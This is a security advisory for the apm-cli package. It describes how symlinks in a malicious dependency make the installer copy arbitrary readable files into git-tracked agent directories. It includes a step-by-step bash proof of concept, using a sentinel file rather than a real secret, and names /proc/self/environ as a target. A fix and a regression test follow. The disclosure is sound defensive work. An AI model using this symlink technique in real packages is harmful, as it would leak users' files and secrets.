PT-2026-59057 · Pypi · Apm
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
7.4
High
| Vector | AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N |
Summary
Two primitive integrators in
apm-cli enumerate package files with bare Path.glob() / Path.rglob() calls and read each match with Path.read text(), transparently following symbolic links.A symlink committed inside a remote APM dependency under
.apm/prompts/<x>.prompt.md or .apm/agents/<x>.agent.md is preserved verbatim into apm modules/ on clone and then dereferenced during integration, with the resolved content written as a regular file into the project's deploy directories.The package
content hash, the pre-deploy SecurityGate scan, and apm audit do not flag this. The deploy roots are not added to the auto-generated .gitignore, so the resulting files are staged by git add by default.This was reproduced via the standard
owner/repo#tag install flow against a real bare git repository. No --force or special flags were used.Affected code
Sinks
-
src/apm cli/integration/prompt integrator.pyPromptIntegrator.find prompt files:package path.glob("*.prompt.md")andapm prompts.glob("*.prompt.md")No symlink filter. -
src/apm cli/integration/prompt integrator.pyPromptIntegrator.copy prompt:source.read text("utf-8") -
src/apm cli/integration/agent integrator.pyAgentIntegrator.find agent files:package path.glob("*.agent.md"),apm agents.rglob("*.agent.md"),apm agents.rglob("*.md"),apm chatmodes.glob("*.chatmode.md")No symlink filter. -
src/apm cli/integration/agent integrator.pyAgentIntegrator.copy agent:source.read text("utf-8") -
src/apm cli/integration/agent integrator.pywrite codex agent:source.read text("utf-8"); resolved bytes are embedded intodeveloper instructionsof the generated.codex/agents/<name>.toml -
src/apm cli/integration/agent integrator.pywrite windsurf agent skill: same dereference pattern; resolved bytes land in.windsurf/skills/<name>/SKILL.md
Safe pattern already present in the codebase
src/apm cli/integration/base integrator.pyBaseIntegrator.find files by glob()rejects:- symlinks via
f.is symlink() - hardlinks via
f.stat().st nlink > 1 - resolved paths escaping the package root
This helper is already used by
InstructionIntegrator.find instruction files.Documented contract that the affected integrators violate
In
src/apm cli/install/phases/local content.py, copy local package documents the intent of preserving symlinks in apm modules/:This is security-relevant and not intended behavior because the codebase already documents that symlinks preserved inapm modules/are supposed to remain inert unless a consumer follows them safely. The affected integrators are exactly those consumer paths, and they dereference the symlink without sandboxing or symlink checks. That makes this an implementation gap, not expected design.
The affected integrators are the consumer tools that follow the link without sandboxing.
Reproducer
This proof of concept is localhost-only and uses a sentinel file, not a real secret.
It uses a real bare git repository and
git config insteadOf so the install path is the same one APM uses for real GitHub clones (Repo.clone from). No network access is required.bash
# 0. Clean slate
rm -rf /tmp/poc /tmp/poc secret /tmp/poc home
mkdir -p /tmp/poc/{remote bare,victim project,work repo} /tmp/poc home
# 1. Sentinel file outside the project and outside the package
echo 'APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL' > /tmp/poc secret
# 2. Build a benign-looking APM package with two symlinks in it
cd /tmp/poc/work repo
git init -q -b main .
git config user.email t@example.test
git config user.name 'PoC'
cat > apm.yml <<'YML'
name: helpful-agents
version: 1.0.0
description: Helpful AI agent collection
YML
mkdir -p .apm/agents .apm/prompts
cat > .apm/agents/helper.agent.md <<'AGENT'
---
name: helper
description: A helpful assistant
---
You are a helpful assistant.
AGENT
ln -s /tmp/poc secret .apm/agents/notes.agent.md
ln -s /tmp/poc secret .apm/prompts/welcome.prompt.md
git add -A
git commit -q -m "initial"
git tag v1.0.0
git ls-tree -r HEAD | grep '^120000'
# 3. Bare repo
git clone --bare -q /tmp/poc/work repo /tmp/poc/remote bare/helpful-agents.git
# 4. Rewrite the GitHub URL APM constructs onto the local bare repo
cat > /tmp/poc home/.gitconfig <<'GITCONFIG'
[user]
email = poc@example.test
name = PoC
[url "/tmp/poc/remote bare/helpful-agents.git"]
insteadOf = https://github.com/poc-author/helpful-agents
[url "/tmp/poc/remote bare/helpful-agents.git"]
insteadOf = https://github.com/poc-author/helpful-agents.git
[safe]
directory = *
GITCONFIG
# 5. Victim project
mkdir -p /tmp/poc/victim project/{.github,.claude,.cursor,.codex,.windsurf}
cat > /tmp/poc/victim project/apm.yml <<'YML'
name: victim-project
version: 1.0.0
description: Victim project
targets: [copilot, claude, cursor, codex, windsurf]
dependencies:
apm:
- poc-author/helpful-agents#v1.0.0
YML
# 6. Default install, no special flags
cd /tmp/poc/victim project
HOME=/tmp/poc home APM NO CACHE=1 GITHUB TOKEN= apm installObserved result
Default install output:
text
[>] Installing dependencies from apm.yml...
[>] Resolving poc-author/helpful-agents...
[i] Targets: claude, codex, copilot, cursor, windsurf (source: apm.yml)
[+] poc-author/helpful-agents #v1.0.0 @fa437578
|-- 1 prompts integrated -> .github/prompts/
|-- 10 agents integrated -> 5 targets
[*] Installed 1 APM dependency in 0.1s.The source under
apm modules/ remains a symlink:bash
ls -l apm modules/poc-author/helpful-agents/.apm/agents/notes.agent.md
# lrwxrwxrwx ... .apm/agents/notes.agent.md -> /tmp/poc secretThe deploy roots receive plain regular files containing the sentinel:
.github/agents/notes.agent.md.github/prompts/welcome.prompt.md.claude/agents/notes.md.cursor/agents/notes.md.codex/agents/notes.toml.windsurf/skills/notes/SKILL.md
Example:
bash
cat /tmp/poc/victim project/.claude/agents/notes.md
# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIALThe deployed files persist after the original symlink target is removed:
bash
rm /tmp/poc secret
cat /tmp/poc/victim project/.claude/agents/notes.md
# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIALDefenses that did not flag the result
- The pre-deploy
SecurityGate.scan fileswalks withfollowlinks=Falseand continues pastis symlink()files. The symlinked source is not scanned. apm auditagainst the post-install tree reports no findings.- The auto-written
.gitignorecontains onlyapm modules/. The deploy roots are not excluded, andgit add -Astages all deployed files alongsideapm.lock.yaml. - The package
content hashis computed before symlink resolution and remained stable across installs whose resolved deployed bytes differed.
Impact
The directly demonstrated impact is file-content disclosure.
Any file readable by the user running
apm install can be selected by the package author through an absolute symlink target committed inside the dependency, and its contents are then written into the project's deploy directories as regular files.Realistic downstream consequences
These were not separately demonstrated with real secrets, but they follow from the validated behavior:
- The deploy directories (
.github/,.claude/,.cursor/,.codex/,.windsurf/) are project-tracked by convention, and the auto-generated.gitignoredoes not exclude them. - In automation that regenerates and commits agent context, the leaked files can be pushed without human review.
- A symlink target such as
/proc/self/environwould resolve to the APM process environment at install time.
Why this is security-relevant and not intended behavior
This is not just "a malicious package being malicious."
The codebase already contains the correct defense in
BaseIntegrator.find files by glob(), and that helper explicitly rejects symlinks, hardlinks, and containment escapes. InstructionIntegrator uses it. PromptIntegrator and AgentIntegrator do not.The codebase also documents that preserving symlinks inside
apm modules/ is acceptable only because the links are supposed to remain inert unless a consumer tool follows them safely. Here, APM itself is the consumer tool that follows them unsafely.That architectural asymmetry makes this look like an implementation oversight, not intended behavior.
Recommended fix
Route both affected finders through the existing safe helper.
python
# src/apm cli/integration/prompt integrator.py
def find prompt files(self, package path: Path) -> list[Path]:
return self.find files by glob(
package path, "*.prompt.md", subdirs=[".apm/prompts"]
)python
# src/apm cli/integration/agent integrator.py
def find agent files(self, package path: Path) -> list[Path]:
files: list[Path] = []
files += self.find files by glob(package path, "*.agent.md")
files += self.find files by glob(package path, "*.chatmode.md")
files += self.find files by glob(
package path, "*.agent.md", subdirs=[".apm/agents"]
)
files += self.find files by glob(
package path, "*.md", subdirs=[".apm/agents"]
)
files += self.find files by glob(
package path, "*.chatmode.md", subdirs=[".apm/chatmodes"]
)
return filesOptional defense in depth
- In
copy prompt,copy agent,write codex agent, andwrite windsurf agent skill, explicitly raise onsource.is symlink()before reading. - Treat any symlink under a dependency's
.apm/tree as a security finding during scanning.
Regression test idea
Add unit tests that create a fixture package with symlinks under
.apm/prompts/, .apm/agents/, and .apm/chatmodes/, then assert that the symlink entries are filtered out before any read occurs.Example shape:
python
def test symlink under apm prompts is rejected(tmp path):
pkg = tmp path / "pkg"
(pkg / ".apm/prompts").mkdir(parents=True)
sentinel = tmp path / "sentinel.txt"
sentinel.write text("REGRESSION-SENTINEL")
(pkg / ".apm/prompts/leak.prompt.md").symlink to(sentinel)
result = PromptIntegrator().find prompt files(pkg)
assert all(not p.is symlink() for p in result)
assert not any(p.name == "leak.prompt.md" for p in result)A second test should mirror the same pattern for
AgentIntegrator.find agent files().Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Apm